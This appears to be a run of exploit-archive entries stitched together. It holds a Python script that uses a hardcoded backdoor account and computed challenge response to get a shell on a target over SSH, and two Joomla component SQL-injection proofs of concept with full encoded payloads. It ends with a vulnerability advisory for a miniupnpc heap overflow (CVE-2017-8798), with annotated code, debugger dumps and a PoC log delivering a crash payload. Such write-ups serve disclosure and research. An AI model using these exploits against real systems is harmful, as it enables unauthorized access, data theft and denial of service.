from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]


def main():
    if len(sys.argv) < 2:
        print 'Usage: ' + sys.argv[0] + ' <target-ip>'
        exit(-1)

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass

    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
    main()
            
# # # # #
# Exploit Title: Joomla! Component User Bench 1.0 - SQL Injection
# Dork: N/A
# Date: 18.12.2017
# Vendor Homepage: http://www.gegabyte.org/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/user-bench/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_userbench&view=detail&userid=[SQL]
#  
# %20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
# 
# # # # #
            
# # # # #
# Exploit Title: Joomla! Component My Projects 2.0 - SQL Injection
# Dork: N/A
# Date: 18.12.2017
# Vendor Homepage: http://www.gegabyte.org/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/portfolio/my-projects/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php/component/myproject/VerAyari[SQL]
#  
# 'and%20(select%201%20from%20(select%20count(*)%2cconcat((select(select%20concat(cast(database()%20as%20char)%2c0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20AND%20''='
# 
# # # # #
            
VuNote
======

    Author:     <github.com/tintinweb>
    Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798
    Version:    0.6
    Date:       May 1st, 2017

    Tag:        miniupnpc getHTTPResponse chunked encoding integer signedness error

Overview
--------

    Name:           miniupnpc
    Vendor:         Thomas Bernard
    References:     * http://miniupnp.free.fr/ [1]

    Version:        v2.0 [2]
    Latest Version: v2.0.20170421 [2][3]
    Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago)
    Platform(s):    cross
    Technology:     c

    Vuln Classes:   CWE-196, CWE-190
    Origin:         remote
    Min. Privs.:    ---

    CVE:            CVE-2017-8798


Description
---------

quote website [1]

>UPnP IGD client lightweight library and UPnP IGD daemon
>The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd.

miniupnp is part of many applications and embedded network devices

* P2P File Sharing software - e.g. qBittorrent
* Network Device Firmware
* Blockchain clients - e.g. EthereumCPP, bitcoind and forked coins


Summary
-------

*TL;DR - one-click crash miniupnpc based applications on your network*

#### Integer signedness error in miniupnpc allows remote attackers to
cause a denial of service condition via specially crafted HTTP response

An integer signedness error was found in miniupnp's `miniwget` allowing
an unauthenticated remote entity typically located on the
local network segment to trigger a heap corruption or an access violation
in miniupnp's http response parser when processing a specially crafted
chunked-encoded response to a request for the xml root description url.

To exploit this vulnerability, an attacker only has to provide a
chunked-encode HTTP response with a negative chunk length to upnp
clients requesting a resource on the attackers webserver. Upnp clients
can easily be instructed to request resources on the attackers webserver
by answering SSDP discovery request or by issueing SSDP service
notifications (low complexity, integral part of the protocol).


* remote, unauthenticated, `ACCESS_VIOLATION_READ` and heap corruption
* (confirmed) DoS; (unconfirmed) could also lead to RCE under certain
circumstances (multi-threaded?)


see attached PoC
see proposed patch

Details
-------

The vulnerable component is a HTTP file download method called
`miniwget` (precisely `getHTTPResponse`) that fails to properly handle
invalid chunked-encoded HTTP responses. The root cause is a bounds check
that mistakenly casts an unsigned attacker-provided chunksize to signed
int leading to an incorrect decision on the destination heap buffer size
when copying data from the server response to an internal buffer. The
attacker controls both the size of the internal buffer as well as the
number of bytes to copy. In order for this attack to succeed, the number
of bytes to copy must be negative.

attacker controls:
* `int content_length`
* `unsigned int chunksize`
* `bytestocopy` if `(int) chunksize` is negative (or at least < `n-i` ~ 1900 bytes)
* length of `content_buf` if `bytestocopy` is negative

In the end, the attacker controls
* `realloc(content_buf, content_length)`
* `memcpy(content_buf+x, http_response, chunksize)`


        client (miniupnpc)                         server (poc.py)
            |                                         |
            |                                         |
            | SSDP:  Discovery - M-SEARCH             |
        1.  | --------------------------------------> |
            |                                         |
            | SSDP:  Reply - Location Header          |
        2.  | <-------------------------------------- |
            |                                         |
            | SCPD:  GET (Location Header/xxxx.xml)   |
        3.  | --------------------------------------> |
            |                                         |
            | SCPD:  HTTP chunked-encoded reply       |
        4.  | <-------------------------------------- |
            |                                         |

1. application performs SSDP discovery via M-SEARCH (multicast, local network segment)
2. poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver.
3. application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py)
4. poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp

#### Source

`miniwget.c:236` [4]

*Note:* Inline annotations are prefixed with //#!

* A) 1. to 3. is the parsing of the chunksize
* B) 4. to 5. integer signedness error
* C) 6. integer wrapping
* D) 7. to 9. destination buffer size
* E) 10. heap overwrite with size in bytestocopy


```c
/* content */
if(chunked)                                         //#! 1) transfer-encoding: chunked
{
    int i = 0;
    while(i < n)
    {
        if(chunksize == 0)
        {
            /* reading chunk size */
            if(chunksize_buf_index == 0) {
                /* skipping any leading CR LF */
                if(i<n && buf[i] == '\r') i++;
                if(i<n && buf[i] == '\n') i++;
            }
            while(i<n && isxdigit(buf[i])                               //#! 2) copy hexchars to chunksize_buf
                 && chunksize_buf_index < (sizeof(chunksize_buf)-1))
            {
                chunksize_buf[chunksize_buf_index++] = buf[i];
                chunksize_buf[chunksize_buf_index] = '\0';
                i++;
            }
            while(i<n && buf[i] != '\r' && buf[i] != '\n')
                i++; /* discarding chunk-extension */
            if(i<n && buf[i] == '\r') i++;
            if(i<n && buf[i] == '\n') {
                unsigned int j;
                for(j = 0; j < chunksize_buf_index; j++) {              //#! 3) hexint chunksize = atoi(chunksize_buf)
                if(chunksize_buf[j] >= '0'
                   && chunksize_buf[j] <= '9')
                    chunksize = (chunksize << 4) + (chunksize_buf[j] - '0');
                else
                    chunksize = (chunksize << 4) + ((chunksize_buf[j] | 32) - 'a' + 10);
                }
                chunksize_buf[0] = '\0';
                chunksize_buf_index = 0;
                i++;
            } else {
                /* not finished to get chunksize */
                continue;
            }
#ifdef DEBUG
            printf("chunksize = %u (%x)\n", chunksize, chunksize);
#endif
            if(chunksize == 0)
            {
#ifdef DEBUG
                printf("end of HTTP content - %d %d\n", i, n);
                /*printf("'%.*s'\n", n-i, buf+i);*/
#endif
                goto end_of_stream;
            }
        }
        //#! 4)
        //#!   goal: a) bytestocopy becomes negative due to chunksize being negative
        //#!         b) content_length defines destination buffer size
        //#!         c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request
        //#!            memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy)
        //#!
        bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);   //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1)
        if((content_buf_used + bytestocopy) > content_buf_len)                      //#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used
        {
            char * tmp;
            if(content_length >= (int)(content_buf_used + bytestocopy)) {           //#! 7) content_length is attacker controlled.
                content_buf_len = content_length;                                   //#! 8) we want content_length to define our dst buffer size (e.g. 9000)
            } else {                                                                 //#!   if we dont hit this, content_buf_len would likely be ~2k
                content_buf_len = content_buf_used + bytestocopy;
            }
            tmp = realloc(content_buf, content_buf_len);                            //#! 9) realloc to content_length bytes (e.g. 9000)
            if(tmp == NULL) {
                /* memory allocation error */
                free(content_buf);
                free(header_buf);
                *size = -1;
                return NULL;
            }
            content_buf = tmp;
        }
        memcpy(content_buf + content_buf_used, buf + i, bytestocopy);               //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer
        content_buf_used += bytestocopy;                                            //#!     (also an out of bounds ready since it has not been checked if buf holds enough bytes)
        i += bytestocopy;
        chunksize -= bytestocopy;
    }
}
```

#### Taint Graph

    basically all `miniwget*` and `UPNP_*` methods.

    * getHTTPResponse (vulnerable)
     * miniwget3
      * miniwget2
       * miniwget
       * miniwget_getaddr
        * UPNP_GetIGDFromUrl
        * UPNP_GetValidIGD
         * UPnP_selectigd
     * UPNP_Get*
     * UPNP_Check*
     * UPNP_Delete*
     * UPNP_Update*
     * UPNP_Add*


#### Scenarios

The PoC can be configured for three scenarios:

##### 1) SCENARIO_CRASH_LARGE_MEMCPY

Similar to 3) attempts to smash the heap but likely fails with an
`ACCESS_VIOLATION_READ` when trying to read from an non-accessible
memory region.

    (gdb) up
    #1  0x000000000040862c in getHTTPResponse (s=s@entry=3, size=size@entry=0x7fffffffd77c,
        status_code=status_code@entry=0x0) at miniwget.c:305
    305                                             memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
    (gdb) i lo
    i = 30
    buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 2018 times>
    n = 1954
    endofheaders = 94
    chunked = 1
    content_length = 9041
    chunksize = 2147483648
    bytestocopy = 2147483648                     //#! <--- nr of bytes to copy from buf
    header_buf = 0x60f010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
    header_buf_len = 2048
    header_buf_used = <optimized out>
    content_buf = 0x60f820 "<xml>BOOM</xml>", 'A' <repeats 16 times>
    content_buf_len = 9041                       //#! <--- dst buffer size
    content_buf_used = 15
    chunksize_buf = "\000\060\060\060\060\060\060\060\000\313\377\377\377\177\000\000\200\277@\000\000\000\000\000\233\277@\000\000\000\000"
    chunksize_buf_index = 0
    reason_phrase = 0x0
    reason_phrase_len = 0

##### 2) SCENARIO_CRASH_REALLOC_NULLPTR

Miniupnp v1.8 was missing an error check for `realloc` which can
be used to cause a DoS condition when making `realloc` fail while
allocating a large chunk of data. When `realloc` fails - because
the requested size of memory cannot be allocated - it returns a
`nullptr`. Miniupnp ~1.8 was missing a check for the `nullptr`
and tried to `memcpy` bytes from the attackers http response to
that `nullptr` which fails with an `ACCESS_VIOLATION`.

To achieve this scenario one must provide an arbitrarily large
`content_length` (e.g. `0x7fffffff` likely fails on 32 bits) and
make `memcpy` attempt to copy a byte to that location.


##### 3) SCENARIO_CRASH_1_BYTE_BUFFER

The idea is to create a small heap buffer and overwrite it with
a large chunk of data. This can be achieved by making instructing
miniupnp to `realloc` `content_buf` to a size of `1 byte` by
providing a `content-length` of `1`. To overwrite this 1 byte
buffer the attacker provides a negative chunksize e.g.
`0x80000000`. Depending on the implementation of `memcpy` and
the memory layout `memcpy` will either fail with a
`ACCESS_VIOLATION_READ` as we're only providing <= 2048 bytes
with the server response and will most certainly hit a non-accessible
memory region while copying `0x80000000` bytes or the application
crashes because of a heap corruption.

Discussion: It could maybe possible for an upnp thread to corrupt
the heap, overwriting structures used by another thread to cause
code execution even before the application crashes when accessing
a non-accesible memory region.


Here's an example of `miniupnpc` corrupting the heap when compiled
for 32 bit platforms.


     ⺠0x80504de <getHTTPResponse+1912>    call   memcpy@plt                    <0x8048a20>
            dest: 0x805981f ââ 0x0                    //#! <--- size 1 - attacker controlled content_buf
            src: 0xffffb77e ââ 0x41414141 ('AAAA')    //#! <--- attacker controlled http response
            n: 0x80000000                             //#! <--- attacker controlled (must be negative) bytestocopy

    pwndbg> i lo
    i = 30
    buf = "f\r\n<xml>BOOM</x"...
    n = <optimized out>
    endofheaders = 91
    chunked = 1
    content_length = 1
    chunksize = 2147483648
    bytestocopy = 2147483648                          //#! <--- nr of bytes to copy from buf
    header_buf = 0x8059008 "HTTP/1.1 200 OK"...
    header_buf_len = 2048
    header_buf_used = <optimized out>
    content_buf = 0x8059810 "<xml>BOOM</x\351\a\002"
    content_buf_len = 1                               //#! <--- destination, realloc'd to 1
    content_buf_used = 15
    chunksize_buf = "\000\060\060\060\060\060\060\060\000\267\377\377p12"...
    chunksize_buf_index = <optimized out>
    reason_phrase = 0x0
    reason_phrase_len = 0

    //#! ### before memcpy
    pwndbg> hexdump content_buf 100
    +0000 0x8059810  3c 78 6d 6c  3e 42 4f 4f  4d 3c 2f 78  e9 07 02 00  â<xmlâ>BOOâM</xâ....â
    +0010 0x8059820  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  â....â....â....â....â
    ...
    +0060 0x8059870  00 00 00 00                                         â....â    â    â    â
    +0064 0x8059874

    //#! ### after memcpy
    pwndbg> hexdump content_buf 100
    +0000 0x8059810  3c 78 6d 6c  3e 42 4f 4f  4d 3c 2f 78  e9 07 02 41  â<xmlâ>BOOâM</xâ...Aâ
    +0010 0x8059820  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  âAAAAâAAAAâAAAAâAAAAâ
    ...
    +0060 0x8059870  41 41 41 41                                         âAAAAâ    â    â    â
    +0064 0x8059874


#### Impact analysis:

* DoS - providing an overly large `content_length` may cause `realloc`
to fail and return a `nullptr`. subsequently crashing due to `memcpy`
trying to copy to `nullptr`. Has been `fixed > v1.8`.
* DoS / potential RCE - providing a correct `content_length` wont cause
`realloc` to fail and `memcpy` will go on copying a large block of data
to `content_buf`. Potential for RCE in multithreaded environments with
threads sharing the heap e.g. main thread doing things while upnp thread
overwrites large portions of the heap. may result in random crashes but
might allow to corrupt neighboring heap chunks in a way to gain code
exec.
* DoS - providing `0x7fffffff` to content_length may fail due to `realloc`
not being able to allocate >2 GB heap space on certain platforms. If
that would succeed, an attacker could try to write `1+x` bytes past the
reallocation when providing a chunksize of `0x80000000+x`. However, the
attacker is not able to provide http response chunks >2048 bytes due to
miniupnp reading responses in chunks of max 2048 therefore rendering a
RCE scenario impossible turning it into a DoS condition with due to
`ACCESS_VIOLATION_READ`.


Proof of Concept
----------------

Prerequisites:

* any software that compiles with `miniupnpc` or calls
`miniwget.c::miniwget()` - e.g. bitcoind (with -upnp)
* `poc.py`, python 2.7, tested on windows and linux
(disable firewall or allow inbound tcp:65000, udp:1900)

Usage:

```c
usage: poc.py [options]

           example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]



optional arguments:
  -h, --help            show this help message and exit
  -q, --quiet           be quiet [default: False]
  -l LISTEN, --listen LISTEN
                        local httpserver listen ip:port. Note: 0.0.0.0:<port>
                        is not allowed. This ip is being used in the SSDP
                        response Location header.
  -u USN, --usn USN     Unique Service Name.
  -t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]]
                        Specify a list of client-ips to attack. Use --havoc to
                        attempt to crash all clients.
  -z, --havoc           Attempt to attack all clients connecting to our http
                        server. Use at your own risk.
```

run PoC

* local listen ip:port for the malicious web server: 192.168.2.104:65000 (your ip)
* only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist)

```python
#> poc.py --listen <your_local_ip>:65000 --target 192.168.2.113

[poc.py -                 main() ][    INFO]


   _  _    _____ _____ _____ _____
  / |/ |  |  |  |  _  |   | |  _  |            ___ ___    _____ ___ ___ ___
 / // /   |  |  |   __| | | |   __|   _ _ _   |   | . |  |     | . |  _| -_|
|_/|_/    |_____|__|  |_|___|__|     |_|_|_|  |_|_|___|  |_|_|_|___|_| |___

                                                      //github.com/tintinweb


    [mode  ]        filter (targeting ['192.168.2.113'])
    [listen]        192.168.2.104:65000 (local http server listening ip)
    [usn   ]        uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice

[poc.py -                 main() ][   DEBUG] spawning webserver: <BadHttpServer bind=('192.168.2.104', 65000)>
[poc.py -             __init__() ][   DEBUG] [SSDP] bind: 0.0.0.0:1900
[poc.py -               listen() ][    INFO] [HTTP] bind 192.168.2.104:65000
[poc.py -             __init__() ][   DEBUG] [SSDP] add membership: UDP/239.255.255.250
[poc.py -    register_callback() ][   DEBUG] [SSDP] add callback for 'M-SEARCH' : <function handle_msearch at 0x027B9270>
[poc.py -               listen() ][    INFO] [HTTP] waiting for connection
[poc.py -    register_callback() ][   DEBUG] [SSDP] add callback for 'NOTIFY' : <function handle_notify at 0x027B9330>
[poc.py -               listen() ][   DEBUG] [SSDP] listening...
[poc.py -               listen() ][    INFO] [      ] connection from: ('192.168.2.113', 43810)
[poc.py -               listen() ][   DEBUG] GET /xxxx.xml HTTP/1.1
Host: 192.168.2.104:65000
Connection: Close
User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0


[poc.py -                 send() ][   DEBUG] HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Length: 9041
Content-Type: text/html

f
<xml>BOOM</xml>
80000000
AAAAAAAAAAAAAAAA...         //#! Repeated 9k times.
3
bye
0
[poc.py -                 send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] <HttpLikeMessage msg=('HTTP/1.1', '200', 'OK') header={'Transfer-Encoding': 'chunked', 'Content-Length': 9041, 'Content-Type': 'text/html'} body='f\r\n<xml>BOOM</xml>\r\n80000000\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA